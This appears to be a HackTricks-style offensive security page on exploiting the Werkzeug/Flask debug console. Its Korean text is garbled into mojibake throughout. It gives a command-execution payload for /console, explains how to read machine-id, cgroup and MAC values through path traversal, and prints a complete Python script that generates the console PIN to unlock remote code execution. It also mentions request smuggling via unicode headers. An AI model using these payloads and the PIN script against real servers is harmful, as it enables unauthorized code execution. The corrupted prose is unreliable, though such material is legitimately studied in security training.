Werkzeug / Flask Debug
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Console RCE
๋๋ฒ๊ทธ๊ฐ ํ์ฑํ๋์ด ์์ผ๋ฉด /console์ ์ ๊ทผํ์ฌ RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค.
__import__('os').popen('whoami').read();
.png)
์ธํฐ๋ท์๋ ์ด๊ฒ๊ณผ ๊ฐ์ ์ฌ๋ฌ ์ต์คํ๋ก์์ด ์๊ฑฐ๋ ๋ฉํ์คํ๋ก์์ ์๋ ์ต์คํ๋ก์์ด ์์ต๋๋ค.
ํ ๋ณดํธ - ๊ฒฝ๋ก ํ์
์ผ๋ถ ๊ฒฝ์ฐ /console ์๋ํฌ์ธํธ๋ ํ์ผ๋ก ๋ณดํธ๋ฉ๋๋ค. ํ์ผ ํ์ ์ทจ์ฝ์ ์ด ์๋ ๊ฒฝ์ฐ ํด๋น ํ์ ์์ฑํ๋ ๋ฐ ํ์ํ ๋ชจ๋ ์ ๋ณด๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค.
Werkzeug ์ฝ์ PIN ์ต์คํ๋ก์
์ฑ์์ ๋๋ฒ๊ทธ ์ค๋ฅ ํ์ด์ง๋ฅผ ๊ฐ์ ๋ก ํ์ํ์ฌ ์ด๋ฅผ ํ์ธํ์ญ์์ค:
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
โconsole lockedโ ์๋๋ฆฌ์ค์ ๋ํ ๋ฉ์์ง๋ Werkzeug์ ๋๋ฒ๊ทธ ์ธํฐํ์ด์ค์ ์ ๊ทผํ๋ ค๊ณ ํ ๋ ๋ํ๋๋ฉฐ, ์ฝ์ ์ ๊ธ์ ํด์ ํ๊ธฐ ์ํด PIN์ด ํ์ํจ์ ๋ํ๋ ๋๋ค. PIN ์์ฑ ์๊ณ ๋ฆฌ์ฆ์ ๋ถ์ํ์ฌ ์ฝ์ PIN์ ์ ์ฉํ ๊ฒ์ ์ ์ํฉ๋๋ค. PIN ์์ฑ ๋ฉ์ปค๋์ฆ์ Werkzeug ์์ค ์ฝ๋ ์ ์ฅ์์์ ์ฐ๊ตฌํ ์ ์์ง๋ง, ์ ์ฌ์ ์ธ ๋ฒ์ ๋ถ์ผ์น๋ฅผ ํผํ๊ธฐ ์ํด ์ค์ ์๋ฒ ์ฝ๋๋ฅผ ํ์ผ ํ์ ์ทจ์ฝ์ ์ ํตํด ํ๋ณดํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
์ฝ์ PIN์ ์
์ฉํ๊ธฐ ์ํด ๋ ์ธํธ์ ๋ณ์๊ฐ ํ์ํฉ๋๋ค: probably_public_bits์ private_bits.
probably_public_bits
username: Flask ์ธ์ ์ ์์ํ ์ฌ์ฉ์๋ฅผ ๋ํ๋ ๋๋ค.modname: ์ผ๋ฐ์ ์ผ๋กflask.app์ผ๋ก ์ง์ ๋ฉ๋๋ค.getattr(app, '__name__', getattr(app.__class__, '__name__')): ์ผ๋ฐ์ ์ผ๋ก Flask๋ก ํด๊ฒฐ๋ฉ๋๋ค.getattr(mod, '__file__', None): Flask ๋๋ ํ ๋ฆฌ ๋ด์app.py์ ๋ํ ์ ์ฒด ๊ฒฝ๋ก๋ฅผ ๋ํ๋ ๋๋ค (์:/usr/local/lib/python3.5/dist-packages/flask/app.py).app.py๊ฐ ์ ์ฉ๋์ง ์๋ ๊ฒฝ์ฐ,app.pyc๋ฅผ ์๋ํ์ญ์์ค.
private_bits
-
uuid.getnode(): ํ์ฌ ๋จธ์ ์ MAC ์ฃผ์๋ฅผ ๊ฐ์ ธ์ค๋ฉฐ,str(uuid.getnode())๋ ์ด๋ฅผ 10์ง์ ํ์์ผ๋ก ๋ณํํฉ๋๋ค. -
์๋ฒ์ MAC ์ฃผ์๋ฅผ ๊ฒฐ์ ํ๊ธฐ ์ํด, ์ฑ์์ ์ฌ์ฉ๋๋ ํ์ฑ ๋คํธ์ํฌ ์ธํฐํ์ด์ค๋ฅผ ์๋ณํด์ผ ํฉ๋๋ค (์:
ens3). ๋ถํ์คํ ๊ฒฝ์ฐ,/proc/net/arp๋ฅผ ๋์ถํ์ฌ ์ฅ์น ID๋ฅผ ์ฐพ๊ณ ,/sys/class/net/<device id>/address์์ MAC ์ฃผ์๋ฅผ ์ถ์ถํ์ญ์์ค. -
16์ง์ MAC ์ฃผ์๋ฅผ 10์ง์๋ก ๋ณํํ๋ ๋ฐฉ๋ฒ์ ์๋์ ๊ฐ์ต๋๋ค:
# ์์ MAC ์ฃผ์: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
get_machine_id():/etc/machine-id๋๋/proc/sys/kernel/random/boot_id์ ๋ฐ์ดํฐ๋ฅผ/proc/self/cgroup์ ์ฒซ ๋ฒ์งธ ์ค๊ณผ ๋ง์ง๋ง ์ฌ๋์(/) ์ดํ์ ์ฐ๊ฒฐํฉ๋๋ค.
`get_machine_id()` ์ฝ๋
```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_idif _machine_id is not None: return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]: linux = bโโ
machine-id is stable across boots, boot_id is not.
for filename in โ/etc/machine-idโ, โ/proc/sys/kernel/random/boot_idโ: try: with open(filename, โrbโ) as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
Containers share the same machine id, add some cgroup
information. This is used outside containers too but should be
relatively stable across boots.
try: with open(โ/proc/self/cgroupโ, โrbโ) as f: linux += f.readline().strip().rpartition(bโ/โ)[2] except OSError: pass
if linux: return linux
On OS X, use ioreg to get the computerโs serial number.
try:
</details>
๋ชจ๋ ํ์ํ ๋ฐ์ดํฐ๋ฅผ ์์งํ ํ, exploit ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ฌ Werkzeug ์ฝ์ PIN์ ์์ฑํ ์ ์์ต๋๋ค:
๋ชจ๋ ํ์ํ ๋ฐ์ดํฐ๋ฅผ ์์งํ ํ, exploit ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ฌ Werkzeug ์ฝ์ PIN์ ์์ฑํ ์ ์์ต๋๋ค. ์ด ์คํฌ๋ฆฝํธ๋ ์กฐํฉ๋ `probably_public_bits`์ `private_bits`๋ฅผ ์ฌ์ฉํ์ฌ ํด์๋ฅผ ์์ฑํ๊ณ , ์ดํ ์ถ๊ฐ ์ฒ๋ฆฌ๋ฅผ ํตํด ์ต์ข
PIN์ ์์ฑํฉ๋๋ค. ์๋๋ ์ด ํ๋ก์ธ์ค๋ฅผ ์คํํ๊ธฐ ์ํ Python ์ฝ๋์
๋๋ค:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
์ด ์คํฌ๋ฆฝํธ๋ ์ฐ๊ฒฐ๋ ๋นํธ๋ฅผ ํด์ฑํ๊ณ ํน์ ์ํธ(cookiesalt ๋ฐ pinsalt)๋ฅผ ์ถ๊ฐํ๋ฉฐ ์ถ๋ ฅ์ ํฌ๋งทํ์ฌ PIN์ ์์ฑํฉ๋๋ค. probably_public_bits ๋ฐ private_bits์ ์ค์ ๊ฐ์ Werkzeug ์ฝ์์์ ์์๋๋ PIN๊ณผ ์ผ์นํ๋๋ก ๋ชฉํ ์์คํ
์์ ์ ํํ๊ฒ ์ป์ด์ผ ํ๋ค๋ ์ ์ด ์ค์ํฉ๋๋ค.
Tip
๊ตฌ๋ฒ์ ์ Werkzeug๋ฅผ ์ฌ์ฉ ์ค์ด๋ผ๋ฉด ํด์ฑ ์๊ณ ๋ฆฌ์ฆ์ sha1 ๋์ md5๋ก ๋ณ๊ฒฝํด ๋ณด์ธ์.
Werkzeug ์ ๋์ฝ๋ ๋ฌธ์
์ด ๋ฌธ์ ์์ ๊ด์ฐฐ๋ ๋ฐ์ ๊ฐ์ด, Werkzeug๋ ํค๋์ ์ ๋์ฝ๋ ๋ฌธ์๊ฐ ํฌํจ๋ ์์ฒญ์ ๋ซ์ง ์์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ด ๊ธ์์ ์ค๋ช ๋ ๋ฐ์ ๊ฐ์ด, ์ด๋ CL.0 ์์ฒญ ์ค๋จธ๊ธ๋ง ์ทจ์ฝ์ ์ ์ ๋ฐํ ์ ์์ต๋๋ค.
์ด๋ Werkzeug์์ ์ผ๋ถ ์ ๋์ฝ๋ ๋ฌธ์๋ฅผ ์ ์กํ ์ ์์ผ๋ฉฐ, ์ด๋ก ์ธํด ์๋ฒ๊ฐ ์ค๋จ๋ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค. ๊ทธ๋ฌ๋ HTTP ์ฐ๊ฒฐ์ด Connection: keep-alive ํค๋๋ก ์์ฑ๋ ๊ฒฝ์ฐ, ์์ฒญ์ ๋ณธ๋ฌธ์ ์ฝํ์ง ์์ผ๋ฉฐ ์ฐ๊ฒฐ์ ์ฌ์ ํ ์ด๋ ค ์์ผ๋ฏ๋ก ์์ฒญ์ ๋ณธ๋ฌธ์ ๋ค์ HTTP ์์ฒญ์ผ๋ก ์ฒ๋ฆฌ๋ฉ๋๋ค.
์๋ํ๋ ์ต์คํ๋ก์
์ฐธ๊ณ ๋ฌธํ
- https://www.daehee.com/werkzeug-console-pin-exploit/
- https://ctftime.org/writeup/17955
- https://github.com/pallets/werkzeug/issues/2833
- https://mizu.re/post/twisty-python
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


